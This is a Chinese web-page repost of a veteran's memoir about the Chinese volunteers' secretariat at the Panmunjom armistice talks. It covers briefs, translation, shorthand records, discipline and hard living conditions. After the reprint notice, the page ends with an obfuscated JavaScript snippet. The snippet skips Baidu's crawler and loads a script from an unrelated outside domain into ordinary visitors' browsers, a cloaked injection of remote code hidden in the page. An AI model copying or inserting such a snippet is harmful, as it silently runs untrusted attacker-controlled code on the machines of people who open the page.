當(dāng)前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

老兵憶板門店談判 恪守“公開場合以朝方為主”

2017-04-28 20:00:38  來源:360常識網(wǎng)   熱度:
導(dǎo)語:抗美援朝戰(zhàn)爭期間,雙方在朝鮮開城附近的松岳山地區(qū)進行過激烈的戰(zhàn)斗。停戰(zhàn)談判開始后,志愿軍停戰(zhàn)談判代表團進駐這里,并且蓋起了一間間的

抗美援朝戰(zhàn)爭期間,雙方在朝鮮開城附近的松岳山地區(qū)進行過激烈的戰(zhàn)斗。停戰(zhàn)談判開始后,志愿軍停戰(zhàn)談判代表團進駐這里,并且蓋起了一間間的平房用做代表團秘書處的辦公室。筆者在朝鮮工作3年多時間,主要的時光就是在秘書處這些平房里度過的。

謹(jǐn)慎加辛苦

代表團秘書處有兩個明顯的特點:一、人數(shù)眾多,在代表團本部里首屈一指;二、知識分子成堆,戴眼鏡的不少。這兩個特點是朝鮮停戰(zhàn)談判的性質(zhì)決定的。根據(jù)朝中雙方高層的協(xié)議,志愿軍方面肩負談判桌上的后援重任。遠在國外,沒有充足的人力不足以擔(dān)負這一繁重的任務(wù)。其次,這是一場軍事和外交互為補充、交叉進行的斗爭。文武結(jié)合要求眾多的書生,特別是我們這些懂外語的“文弱書生”參加。

談判桌上,雙方代表的態(tài)度都十分謹(jǐn)慎。重要發(fā)言都是宣讀發(fā)言稿。稿子不論大小,基本上都是秘書處根據(jù)上級意圖參與或獨立草擬的。這就要求秘書處的有關(guān)同志十分熟悉情況,并具有一定的通攬全局、把握政策的能力。

朝鮮停戰(zhàn)談判事關(guān)重大,北京和平壤都十分關(guān)注進展情況。代表每次從板門店歸來,除向李克農(nóng)、喬冠華直接匯報外,還必須將情況及時報告中共中央。這些簡報也是新華社發(fā)布消息的重要依據(jù)。草擬簡報的任務(wù)往往落在我們秘書處身上。有時因板門店休會遲,或因會議內(nèi)容多,簡報寫完,經(jīng)喬冠華修改,送李克農(nóng)審批時已屆深夜。等發(fā)去的電報從北京批復(fù)回來,往往已是次日凌晨。此時,秘書處又需根據(jù)指示修改或重擬發(fā)言稿,趕在當(dāng)日早上使用。

同中立國監(jiān)察委員會的波蘭、捷克斯洛伐克代表的協(xié)商也均由秘書處承擔(dān),而且時間多在晚間,地點在波、捷代表駐地。有時,他們需要深夜約見代表團領(lǐng)導(dǎo)。接待、翻譯和寫簡報等各項任務(wù)也離不開秘書處的工作人員。

高水準(zhǔn)的外語隊伍

根據(jù)協(xié)議,一方代表發(fā)言或送給對方的文書都需譯成其他兩種語言或文字。在唇槍舌劍中,要將己方的立場表達清楚,同時將對方的意圖了解明白,很大程度上依賴翻譯的準(zhǔn)確性。由于美方使用的譯員可靠性較差,志愿軍代表團對己方英語翻譯的倚重就更為突出;此外,同朝鮮和波蘭、捷克斯洛伐克等中立國監(jiān)察委員會人員的溝通和聯(lián)系,還需朝語與俄語;同印度、瑞典、瑞士中立國人士打交道則普遍使用英語。為此,代表團選調(diào)了一大批高質(zhì)量的外語干部來充實秘書處。

當(dāng)時,朝方的主要英語翻譯是一名留英的考古學(xué)博士。中方也有若干名學(xué)成歸國的高級學(xué)子壓陣(如裘克安、浦壽昌),副處長畢季龍因英語水平甚高,被美方譽為“上校翻譯”

會議記錄

在朝鮮停戰(zhàn)談判中,會議記錄具有特殊的地位:李克農(nóng)、喬冠華都不在談判桌上,因而他們了解會議進程的細節(jié),除聽取代表匯報外,就要閱讀記錄。而每次會議記錄(中、英文),都須全文及時報給國內(nèi)。就我方而言,對手主要是美國人,停戰(zhàn)后出現(xiàn)的中立國監(jiān)察委員會和戰(zhàn)俘遣返委員會的通用語言也是英語,所以英語發(fā)言成為我們記錄的重點。在談判中,美方代表發(fā)言中夾雜著很多“瞎扯”,這也需要記錄人員付出極大的努力。

代表團對會議記錄提出十分嚴(yán)格的要求:英文需要逐字記錄。這就難為了秘書處里我們這些從事會議記錄的人員,因為誰也沒學(xué)過英文速記。我們托人在北京和上海的舊書店里買來英文速記書,靠各人自學(xué),辛勤磨煉,逐步掌握了這一技術(shù)。

代表團不僅要掌握美方在會議上的態(tài)度,也需了解對方在會外的動作和言論,以及西方輿論對會議的評論和反應(yīng)。但當(dāng)時的通訊條件十分有限。除了新華社的電訊外,收不到一份外文報紙和雜志。為解決信息閉塞的問題,秘書處的新聞組通過收聽其他國家英文廣播和抄收外臺電碼,及時捕捉到美方的信息。

當(dāng)時印制的條件甚差,無論英文版還是中文版的“內(nèi)參”都只有幾份,都是打字或筆譯時,加復(fù)寫紙制造出來的。雖用硬筆著力刻寫,第五、六張已模糊不清。久而久之,大家中指上就形成了厚繭。

嚴(yán)格遵守紀(jì)律

“公開場合以朝方為主”,這是代表團定立的一條原則。秘書處的同志經(jīng)常同朝鮮同志一同出現(xiàn)在敵人面前,但如沒有朝中雙方的協(xié)議和代表團的授權(quán),中國人員不會代表我方發(fā)言。相互尊重,通力合作,共同對敵使雙方關(guān)系十分融洽,從未發(fā)生問題。這同美國代表以老大自居,動輒在談判桌上打斷別人的做法形成強烈的對照。

代表團和秘書處內(nèi)的工作調(diào)動頻繁,說走就走,從沒有人有任何異議。代表團定立的規(guī)章制度,如離開駐地外出必須兩人同行,各人自覺遵守,習(xí)以為常。由于實行燈火管制,不管夏夜有多么悶熱,我們工作時窗戶仍然拉起雙層防空布簾,雖汗流浹背,沒有人想拉開窗簾透點涼風(fēng)。

大家執(zhí)行紀(jì)律非常嚴(yán)格,有時免不了做出一些讓現(xiàn)在的人覺得可笑的事情。記得1953年,筆者在板門店軍事停戰(zhàn)委員會工作。某日,美國值班軍官稱,他即將被調(diào)回國,建議美、朝、中三方的值班軍官會后在會議廳外照相留做留念。我同朝鮮軍官商量后,便以“有困難”為由加以拒絕了。美國人又提出,他可否用相機給我們兩人照一張?我來不及請示,美國人又不斷詢問,于是擅自做主同意了。大約一個星期后,我們收到美方轉(zhuǎn)來的兩張放大了的照片,背后還有這位上尉的簽名。我見到后,立即把有生以來的第一張彩色照片上交了。

樂觀的精神

戰(zhàn)地物質(zhì)條件甚是艱苦,蚤虱肆虐對我們咬得不亦樂乎;由于換洗不便,我們整個一冬天不洗澡;飲食很單調(diào),只有罐頭和餅干;而且基本上不休假。對于來自城市的青年干部來說,也是一種考驗。但全體人員都保持著樂觀主義精神,愉快工作,團結(jié)友愛,未聞有何怨言或相互間有何矛盾。為補充給養(yǎng),我們還自己動手種起了菜,其中茄子、蘿卜長得最好。秘書處的女同志多,得天獨厚,許多人又能歌善舞。這種便利讓文體活動也很快開展起來,且搞得有聲有色。

有一次我們收到美方最高司令官的一封來信,拆開一看,吃了一驚,那信字體濃重,排列整齊,輕重均勻。我很納悶,美國人寫一封信還送到東京去鉛???后來才弄清,信是用電動打字機打出來的。談判后期,我們發(fā)現(xiàn)美方速記員不再手記,而是用一架三條腿支著的小型機器。手指輕按鍵盤,滾動的紙帶便出現(xiàn)記錄的符號。換人時,把紙條一撕,回去便可回讀,變成文字。我們不知那叫何物,便稱之為“速記機”。

同美國人相比,我們在裝備和技術(shù)上落后,但我們這些年輕書生卻有一股“不被敵人壓倒,卻要壓倒敵人”的決心。秘書處的工作,如談判、翻譯、函件、記錄等,都是直接對外或直接反映敵態(tài)的,工作必須十分嚴(yán)謹(jǐn),不能有絲毫馬虎。送給對方談判代表的書信需備朝、中、英三種文本。文字經(jīng)過翻譯不免產(chǎn)生差異。為了不讓美方有任何可乘之機,秘書處實行了“三合一”的工作方法,即由掌握朝中、中英、朝英文字的專家同時對文本進行逐句校對,以保證萬無一失。停戰(zhàn)協(xié)定的簽字文本敵我雙方各準(zhǔn)備一份。我方準(zhǔn)備的英文文本竟是如此的完美無瑕,連美國人也自嘆弗如。這一份沒有一處錯漏和擦痕(包括標(biāo)點符號)的文本是代表團的“功勛英文打字員”———某女同志,在一架國內(nèi)帶去的舊式手動色帶打字機上花費了三天三夜完成的。

在停戰(zhàn)談判中,雖然我們這些青年人主要做的是技術(shù)性工作,但得到的鍛煉和受到的教育卻是巨大的。壓倒一切敵人的氣概,勇挑工作重擔(dān)的精神,和極端負責(zé)、一絲不茍的作風(fēng),一直陪伴著我們,成為我們受用不盡的工作動力和思想風(fēng)格的重要組成部分。
轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}